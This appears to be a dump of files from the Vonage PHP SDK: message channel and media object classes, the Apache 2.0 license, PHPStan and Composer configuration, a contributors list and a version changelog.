protected string $channel = 'messenger'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_FILE; public function __construct( string $to, string $from, protected FileObject $fileObject, ?string $category = null, ?string $tag = null ) { $this->to = $to; $this->from = $from; $this->category = $category; $this->tag = $tag; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['file'] = $this->fileObject->toArray(); if ($this->requiresMessengerObject()) { $returnArray['messenger'] = $this->getMessengerObject(); } return $returnArray; } } <?php namespace Vonage\Messages\Channel\Messenger; use Vonage\Messages\MessageObjects\AudioObject; use Vonage\Messages\Channel\BaseMessage; class MessengerAudio extends BaseMessage { use MessengerObjectTrait; protected string $channel = 'messenger'; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_AUDIO; public function __construct( string $to, string $from, protected AudioObject $audioObject, ?string $category = null, ?string $tag = null ) { $this->to = $to; $this->from = $from; $this->category = $category; $this->tag = $tag; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['audio'] = $this->audioObject->toArray(); if ($this->requiresMessengerObject()) { $returnArray['messenger'] = $this->getMessengerObject(); } return $returnArray; } } <?php namespace Vonage\Messages\Channel\SMS; use Vonage\Messages\MessageTraits\TextTrait; use Vonage\Messages\Channel\BaseMessage; class SMSText extends BaseMessage { use TextTrait; protected string $subType = BaseMessage::MESSAGES_SUBTYPE_TEXT; protected string $channel = 'sms'; public function __construct( string $to, string $from, string $message ) { $this->to = $to; $this->from = $from; $this->text = $message; } public function toArray(): array { $returnArray = $this->getBaseMessageUniversalOutputArray(); $returnArray['text'] = $this->getText(); return $returnArray; } } <?php namespace Vonage\Messages\MessageObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class AudioObject implements ArrayHydrateInterface { public function __construct(private string $url, private string $caption = '') { } public function fromArray(array $data): AudioObject { $this->url = $data['url']; if (isset($data['caption'])) { $this->caption = $data['caption']; } return $this; } public function toArray(): array { $returnArray = [ 'url' => $this->url ]; if ($this->caption) { $returnArray[] = [ 'caption' => $this->caption ]; } return $returnArray; } public function getUrl(): string { return $this->url; } public function getCaption(): string { return $this->caption; } } <?php namespace Vonage\Messages\MessageObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class TemplateObject implements ArrayHydrateInterface { public function __construct(private string $name, private array $parameters) { } public function fromArray(array $data): TemplateObject { $this->name = $data['name']; if (isset($data['parameters'])) { $this->parameters = $data['parameters']; } return $this; } public function toArray(): array { $returnArray = [ 'name' => $this->name ]; if ($this->parameters) { $returnArray['parameters'] = $this->parameters; } return $returnArray; } public function getName(): string { return $this->name; } public function getParameters(): array { return $this->parameters; } } <?php namespace Vonage\Messages\MessageObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class FileObject implements ArrayHydrateInterface { public function __construct(private string $url, private string $caption = '') { } public function fromArray(array $data): FileObject { $this->url = $data['url']; if (isset($data['caption'])) { $this->caption = $data['caption']; } return $this; } public function toArray(): array { $returnArray = [ 'url' => $this->url ]; if ($this->caption) { $returnArray['caption'] = $this->caption; } return $returnArray; } public function getUrl(): string { return $this->url; } public function getCaption(): string { return $this->caption; } } <?php namespace Vonage\Messages\MessageObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class VCardObject implements ArrayHydrateInterface { public function __construct(private string $url) { } public function fromArray(array $data): VCardObject { $this->url = $data['url']; return $this; } public function toArray(): array { return [ 'url' => $this->url ]; } public function getUrl(): string { return $this->url; } } <?php namespace Vonage\Messages\MessageObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class VideoObject implements ArrayHydrateInterface { public function __construct(private string $url, private string $caption = '') { } public function fromArray(array $data): VideoObject { $this->url = $data['url']; if (isset($data['caption'])) { $this->caption = $data['caption']; } return $this; } public function toArray(): array { $returnArray = [ 'url' => $this->url ]; if ($this->caption) { $returnArray['caption'] = $this->caption; } return $returnArray; } public function getUrl(): string { return $this->url; } public function getCaption(): string { return $this->caption; } } <?php namespace Vonage\Messages\MessageObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class ImageObject implements ArrayHydrateInterface { public function __construct(private string $url, private string $caption = '') { } public function fromArray(array $data): ImageObject { $this->url = $data['url']; if (isset($data['caption'])) { $this->caption = $data['caption']; } return $this; } public function toArray(): array { $returnArray = [ 'url' => $this->url ]; if ($this->caption) { $returnArray['caption'] = $this->caption; } return $returnArray; } public function getUrl(): string { return $this->url; } public function getCaption(): string { return $this->caption; } } Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright 2020 Vonage Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. parameters: ignoreErrors: - message: "#^Access to an undefined property Vonage\\\\Account\\\\Price\\:\\:\\$priceMethod\\.$#" count: 1 path: src/Account/Price.php - message: "#^Result of method Vonage\\\\Account\\\\Price\\:\\:getResponse\\(\\) \\(void\\) is used\\.$#" count: 1 path: src/Account/Price.php - message: "#^Access to an undefined property Vonage\\\\Application\\\\Application\\:\\:\\$data\\.$#" count: 1 path: src/Application/Application.php - message: "#^Call to an undefined method Vonage\\\\Application\\\\Client\\:\\:fromArray\\(\\)\\.$#" count: 1 path: src/Application/Client.php - message: "#^Instantiated class Http\\\\Adapter\\\\Guzzle6\\\\Client not found\\.$#" count: 1 path: src/Client.php - message: "#^Method Vonage\\\\Client\\:\\:setLogger\\(\\) should return Vonage\\\\Logger\\\\LoggerAwareInterface but return statement is missing\\.$#" count: 1 path: src/Client.php - message: "#^Unsafe usage of new static\\(\\)\\.$#" count: 1 path: src/Client/Callback/Callback.php - message: "#^Access to an undefined property Vonage\\\\Client\\\\Exception\\\\Request\\:\\:\\$data\\.$#" count: 1 path: src/Client/Exception/Request.php - message: "#^Call to an undefined method \\$this\\(Vonage\\\\Client\\\\Exception\\\\Request\\)&Vonage\\\\Entity\\\\Hydrator\\\\ArrayHydrateInterface\\:\\:getResponseData\\(\\)\\.$#" count: 1 path: src/Client/Exception/Request.php - message: "#^Access to an undefined property Vonage\\\\Client\\\\Exception\\\\Server\\:\\:\\$data\\.$#" count: 1 path: src/Client/Exception/Server.php - message: "#^Call to an undefined method \\$this\\(Vonage\\\\Client\\\\Exception\\\\Server\\)&Vonage\\\\Entity\\\\Hydrator\\\\ArrayHydrateInterface\\:\\:getResponseData\\(\\)\\.$#" count: 1 path: src/Client/Exception/Server.php - message: "#^Result of method Vonage\\\\Network\\:\\:getResponse\\(\\) \\(void\\) is used\\.$#" count: 1 path: src/Network.php - message: "#^Unsafe usage of new static\\(\\)\\.$#" count: 1 path: src/Network/Number/Response.php - message: "#^Result of method Vonage\\\\Numbers\\\\Number\\:\\:getResponse\\(\\) \\(void\\) is used\\.$#" count: 1 path: src/Numbers/Number.php - message: "#^Access to an undefined property Vonage\\\\Verify\\\\Verification\\:\\:\\$data\\.$#" count: 1 path: src/Verify/Verification.php includes: - phpstan-baseline.neon parameters: level: 0 paths: - src{ "name": "vonage/client-core", "type": "library", "description": "PHP Client for using Vonage's API.", "homepage": "https://developer.vonage.com", "license": "Apache-2.0", "authors": [ { "name": "James Seconde", "email": "jim.seconde@vonage.com", "role": "PHP Developer Advocate" } ], "require": { "php": "~8.0 || ~8.1 || ~8.2", "ext-mbstring": "*", "laminas/laminas-diactoros": "^3.0", "lcobucci/jwt": "^3.4|^4.0", "psr/container": "^1.0 | ^2.0", "psr/http-client-implementation": "^1.0", "vonage/nexmo-bridge": "^0.1.0", "psr/log": "^1.1|^2.0|^3.0" }, "require-dev": { "guzzlehttp/guzzle": ">=6", "helmich/phpunit-json-assert": "^3.3", "php-http/mock-client": "^1.4", "phpunit/phpunit": "^8.5|^9.4", "roave/security-advisories": "dev-latest", "squizlabs/php_codesniffer": "^3.5", "softcreatr/jsonpath": "^0.7 || ^0.8", "phpspec/prophecy-phpunit": "^2.0", "rector/rector": "^0.14.8", "phpstan/phpstan": "^1.10" }, "config": { "optimize-autoloader": true, "preferred-install": "dist", "allow-plugins": { "php-http/discovery": true } }, "autoload": { "psr-4": { "Vonage\\": "src/" } }, "autoload-dev": { "psr-4": { "VonageTest\\": "test/" } }, "minimum-stability": "stable", "scripts": { "cs-check": "phpcs", "cs-fix": "phpcbf", "test": "phpunit", "phpstan": "phpstan analyse -l 2 src" }, "support": { "email": "devrel@vonage.com", "issues": "https://github.com/Vonage/vonage-php-sdk-core/issues", "source": "https://github.com/Vonage/vonage-php-sdk-core", "docs": "https://developer.vonage.com" } } ## Maintainers If you have any problems with our library, feel free to reach out to our maintainer. * [James Seconde](https://github.com/secondejk) ### Past Maintainers * [Chris Tankersley](https://github.com/dragonmantank) * [Lorna Jane Mitchell](https://github.com/lornajane) * [Tim Lytle](https://github.com/tjlytle) * [Micheal Heap](https://github.com/mheap) ## Contributors In no particular order, we would like to thank all the contributors who have helped work on this library. We truly value our open source community and the work that they do. * [Aleksandr Demchenko](https://github.com/stronglab) * [Ash Allen](https://github.com/ash-jc-allen) * [Thiago Locks](https://github.com/thiagolcks) * [Derick Rethans](https://github.com/derickr) * [Viktor Szépe](https://github.com/szepeviktor) * [Christopher Lass](https://github.com/arubacao) * [Greg Holmes](https://github.com/GregHolmes) * [Vincent Klaiber](https://github.com/vinkla) * [footballencarta](https://github.com/footballencarta) * [Vlad Rusu](https://github.com/vladrusu) * [Vinayak](https://github.com/vinayak42) * [Valentin Ursuleac](https://github.com/ursuleacv) * [Tim Craft](https://github.com/timcraft) * [Sara Bine](https://github.com/sbine) * [Mathias Strasser](https://github.com/roukmoute) * [Alex](https://github.com/pushkyn) * [Ivan](https://github.com/prog1dev) * [Pierre Grimaud](https://github.com/pgrimaud) * [Chun-Sheng, Li](https://github.com/peter279k) * [Mark Lewin](https://github.com/marklewin) * [Leonardo Maier](https://github.com/leonardomaier) * [Lauren Lee](https://github.com/laurenelee) * [Kyle Hudson](https://github.com/kylejmhudson) * [Jean-Philippe Murray](https://github.com/jpmurray) * [Jaggy](https://github.com/jaggy) * [gy741](https://github.com/gy741) * [Eduardo Cáceres](https://github.com/eduherminio) * [Dwight Watson](https://github.com/dwightwatson) * [Mior Muhammad Zaki](https://github.com/crynobone) * [Ankur Kumar](https://github.com/ankurk91) * [Testing989](https://github.com/Testing989) * [Sascha Greuel](https://github.com/SoftCreatR) * [Mou Ikkai](https://github.com/Mou-Ikkai) * [Jesse O'Brien](https://github.com/JesseObrien) * [Fabien Salathe](https://github.com/BafS) * [Dries Vints](https://github.com/driesvints) # 3.0.1 ### Changed * Allow composer to choose psr/container 1 or 2 for downstream dependencies * Update changelog * Update contributors list # 3.0.0 ### Fixed * `getCountryPrefix()` string return type ### Changed * Major removals of deprecations, most notable `ArrayAccess` * PSR Logger support for 2.0 # 2.10.0 ### Fixed * PHPUnit tests now no longer throw `prophesize()` depreciation notices ### Changed * Maintainer and Contribution documents changed to reflect current ownership * All test cases now extend off the new `VonageTestCase` class that implements the `ProphesizeTrait` # 2.9.3 ### Fixed * Removed the automatic unicode detection to allow for intentional selection. * Changed Readme to include how to fire test suite from composer # 2.9.2 ### Fixed * #276 - JWTs with `sub` should now generate properly under newer PHP versions # 2.9.1 ### Fixed * #282 - SMS Throttling response is now handled as milliseconds instead of seconds * #282 - Fixed regex to not consume API rate limiting error and basically time out PHP scripts # 2.9.0 ### Changed * Nexmo/nexmo-laravel#62 - Landline Toll Free numbers can be searched for # 2.8.1 ### Fixed * #278 - Fixed issue retrieving Conversations and Users clients where the service locator didn't know what to do ### Changed * #283 - Moved auth logic to individual handlers, to better prepare for a fix where Containers do not allow Signature and Token auth # 2.8.0 ### Added * #272 - Added support for PSR-3 compatible logging solutions and a new debug feature to log requests/responses * #274 - Added support for the detail field on some new Voice API incoming events (https://developer.nexmo.com/voice/voice-api/webhook-reference#event-webhook) * #273 - Added new content-id and entity-id fields to support regional SMS requirements, and a shortcut for enabling DLT on Indian-based SMS # 2.7.1 ### Changed * #270 - Use the actual Guzzle package version to determine of 6 or 7 is in the project # 2.7.0 ### Added * #269 - Added PHP 8 Support # 2.6.0 ### Added * #265 - Added support for Language and Style for NCCO Talk action ### Changed * #257 Dropped support for PHPUnit 7 * #257 Added missing PHPDoc blocks * #257 Added missing return type hints * #257 Replaced qualifiers with imports * #257 Updated and optimized examples * #257 Applied multiple code optimizations (especially for PHP 7.2+) and simplified some logic * #257 Updated code styling to match PSR standards * #257 Re-ordered imports where necessary * #257 Updated tests to get rid of deprecation messages * #257 Fixed namespace declarations in tests * #257 Updated code style to PSR-12 * #257 Updated phpunit.xml.dist * #257 Added Roave Security Advisories as dev-requirement to prevent usage of packages with known security vulnerabilities * #257 Replaced estahn/phpunit-json-assertions with martin-helmich/phpunit-json-assert due do compatibility issues with PHPUnit * #257 Removed test build for PHP 7.1 in .travis.yml * #257 Added missing punctuation in CONTRIBUTING.md * #257 Updated contact email address in CODE_OF_CONDUCT.md ### Deprecated * #265 - Deprecated use of VoiceName for NCCO Talk action ### Fixed * #257 Fixed namespaces (Zend => Laminas, Nexmo => Vonage) * #257 Fixed condition in Verify\Request::setCodeLength * #257 Fixed typos and some wording in README.md ### Removed * Removed `examples/` directory as the code snippets repo is much more up-to-date # 2.5.0 ### Changed - #260 - Swapped out `ocramius/package-versions` for `composer/package-versions-deprecated` to work with Composer 2 # 2.4.1 ### Changed * #256 - Added support for PHPUnit 8 ### Fixed * #253, #254 - Fixed some typos in the README * #255 - `\Vonage\Numbers\Client::searchAvailable()` now correctly handles filters using `FilterInterface` # 2.4.0 ### Changed * #250 - Bumped minimum PHP version to 7.2 * #250 - Now supports Guzzle 7 automatically, and swaps to Guzzle 7 as a dev dependency # 2.3.3 ### Fixed * #252 - Connect action's `eventUrl` was being set as a string, changed to single element array of strings # 2.3.2 ### Added * #248 - Added `\Vonage\Client\MapFactory::make()` to always instatiate new objects ### Fixed * #248 - Fixed type in URL for Account Client Factory # 2.3.1 ### Added * #247 - Fixed missing fields on Standard/Advanced number insight getters ### Fixed * #246 - Fixed badge URLs in README # 2.3.0 ### Added * Support for the PSD2 Verify endpoints for EU customers * `vonage/nexmo-bridge` as a dependency so `\Nexmo` namespaced code works with the new `\Vonage` namespace * Calls using `\Vonage\Client\APIResource` can now specify headers for individual requests ### Changed * Namespace changed from `\Nexmo` to `\Vonage` for all classes, interfaces, and traits ### Fixed * Base URL overrides were not being pushed up properly * JSON payload for transferring via NCCO or URL was malformed # 2.2.3 ### Added * Added country as a search option for Nexmo\Numbers\Client::searchOwned() # 2.2.2 ### Fixed * #235 - Adds a fix for calling the calls() API client # 2.2.1 ### Added * Allow Conversations NCCO to set event URL information * Added missing Notify webhook and new ASR code ### Changed * NCCOs now set let default options ### Removed * Redundant comments in client for sms() and verify() clients # 2.2.0 This release focuses on deprecation of dead and old code, and preps many internal changes in regards to v3.0.0. Where possible upcoming v3.0.0 changes were backported where backward-compatibility could be maintained. ### Added * New Voice and SMS interfaces, accessible through `$client->voice()` and `$client->sms()`, respectively * Added user deprecation warnings, which can be turned on and off via the `Nexmo\Client` "show_deprecations" config option. This can help devs update in preparation in v3.0.0, and will be utilized in the future as things are deprecated. * Many objects now have a `toArray()` serialization method, to discourage direct use of `jsonSerialize()` * Many objects now support a `fromArray()` hydration method * Better incoming webhook support for SMS and Voice events * NCCO builder for Voice ### Changed * API handling code has been conglomerated in `Nexmo\Client\APIResource` and `Nexmo\Entity\IterableAPICollection` * All APIs ported over to the new API handling layer * Internal Service Locator `Nexmo\Client\Factory\MapFactory` is now PSR-11 compliant, and can use factories * Most Verify methods in the client now prefer string Request IDs * Verify now prefers `Nexmo\Verify\Request` for starting new Verification requests ### Deprecated For a detailed list of things that may impact an application, enable the `show_deprecations` `Nexmo\Client` option to see deprecation notices for specific code flows. * Most forms of array access are now deprecated * Using service layers like `$client->messages($filter)` to search has been deprecated in favor of bespoke search methods * Requests/Responses on exceptions and entities are deprecated, and now exist in the service layer or collection * Most methods that took raw arrays now prefer objects * `Nexmo\Verify\Verification` objects full functionality has been deprecated, and will be used only as a value object for search requests in the future * `Nexmo\Conversations` and `Nexmo\User` have been deprecated and will be removed in the future as the feature is in Beta status and has diverged from this implementation * `Nexmo\Voice\Call` and `Nexmo\Voice\Message` have been deprecated and will be removed in the future as the TTS API is deprecated * SMS searching has been deprecated and will be removed in a future update ### Removed * No features or classes have been removed in this update, it is functionally compatible with v2.1.0 other than deprecation notices and new features. ### Fixed * No direct bugs have been fixed as this release was designed to be as compatible with v2.1.0 as possible, however: * #177 should be better handled by a centralized `Nexmo\Client\Exception\ThrottleException` and has been implemented in SMS and the Numbers API * #219 is implicitly fixed in `Nexmo\SMS\Client::send()` as it now returns a fully hydrated collection object as a response, however this needs to be updated in Laravel itself via an update to `nexmo/laravel` and `laravel/nexmo-notification-channel ` * #221 is implicitly fixed in `Nexmo\SMS\Client::send()` as it now returns a fully hydrated collection object that is much more up-front it is not a single object * #227 is implicitly fixed in `Nexmo\SMS\Webhook\InboundSMS` ### Security * There were no known security vulnerabilities reported
Simpan